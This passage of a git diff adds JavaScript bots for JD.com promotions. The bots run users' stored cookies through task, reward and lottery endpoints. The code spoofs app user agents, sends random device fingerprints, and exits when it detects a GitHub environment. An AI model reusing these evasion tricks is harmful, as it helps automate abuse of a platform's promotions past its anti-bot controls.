await getInfo(url) + await getUserInfo() + await draw() + while ($.userInfo.bless >= $.userInfo.cost_bless_one_time) { + await draw() + await getUserInfo() + await $.wait(500) + } + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +function showMsg() { + return new Promise(resolve => { + if ($.beans) { + message += `本次运行获得${$.beans}京豆` + allMessage += `京东账号${$.index}-${$.nickName}: 获得【${$.beans}】京豆\n` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function getInfo(url) { + console.log(`\n盲盒任务url:${url}\n`) + return new Promise(resolve => { + $.get({ + url, + headers: { + Cookie: cookie + } + }, (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + resolve() + } catch (e) { + console.log(e) + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl('query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]).data + // console.log(`您的好友助力码为${$.userInfo.shareid}`) + console.log(`当前幸运值:${$.userInfo.bless}`) + for (let task of $.info.config.tasks) { + if (!$.userInfo.complete_task_list.includes(task['_id'])) { + console.log(`去做任务${task['_id']}`) + await doTask(task['_id']) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `task_bless=10&taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('completeTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data.complete_task_list.includes(taskId)) { + console.log(`任务完成成功,当前幸运值${data.data.curbless}`) + $.userInfo.bless = data.data.curbless + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function draw() { + return new Promise(resolve => { + $.get(taskUrl('draw'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data && data.data.drawflag) { + if ($.prize.filter(vo => vo.prizeLevel === data.data.level).length > 0) { + console.log(`获得${$.prize.filter(vo => vo.prizeLevel === data.data.level)[0].prizename}`) + $.beans += $.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum + } else { + console.log(`抽奖 未中奖`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activet2/piggybank/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `${jd_mhurl}?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_mncryyj.js b/jd_mncryyj.js new file mode 100644 index 0000000..eb2d301 --- /dev/null +++ b/jd_mncryyj.js @@ -0,0 +1,340 @@ +/* +[task_local] +#4月蒙牛春日音乐节抽奖机 +31 14 9-21/3 4 * jd_mncryyj.js, tag=4月蒙牛春日音乐节抽奖机, enabled=true + +from https://github.com/KingRan/KR/blob/main/jd_mncryyj.js + + */ +const $ = new Env('4月蒙牛春日音乐节抽奖机'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +$.configCode = "445d31ec3db740b992b2f6798c0fd646"; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + console.log('入口下拉:https://prodev.m.jd.com/mall/active/ymjgzZHsgzyCr2zoDcg7wrgEZLK/index.html') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdmodule(); + //await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function jdmodule() { + let runTime = 0; + do { + await getinfo(); //获取任务 + $.hasFinish = true; + await run(); + runTime++; + } while (!$.hasFinish && runTime < 10); + await getinfo(); + console.log("开始抽奖"); + for (let x = 0; x < $.chanceLeft; x++) { + await join(); + await $.wait(1500) + } +} + +//运行 +async function run() { + try { + for (let vo of $.taskinfo) { + if (vo.hasFinish === true) { + continue; + } + if (vo.taskName == '每日签到') { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 3) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await getinfo2(vo.taskItem.itemLink); + await $.wait(1000 * vo.viewTime) + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 4) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 2) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + $.hasFinish = false; + } + } catch (e) { + console.log(e); + } +} + + +// 获取任务 +function getinfo() { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${$.configCode}&unionCardCode=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.chanceLeft = data.data.chanceLeft; + if (data.success == true) { + $.taskinfo = data.data.taskConfig + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//抽奖 +function join() { + return new Promise(async (resolve) => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${$.configCode}&fp=${randomWord(false, 32, 32)}&eid=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`join请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log(`抽奖结果:${data.data.rewardName}`); + } + else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function doTask(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('doTask', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`doTask 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +//领取任务奖励 +function getReward(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('getReward', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`getReward 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务奖励领取成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getinfo2(url2) { + return new Promise(resolve => { + $.get({ + url: url2, + headers: { + 'Host': 'pro.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getinfo2 API请求失败,请检查网路重试`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, + body: `${(body)}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "jdjoy.jd.com", + "x-requested-with": "com.jingdong.app.mall", + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const 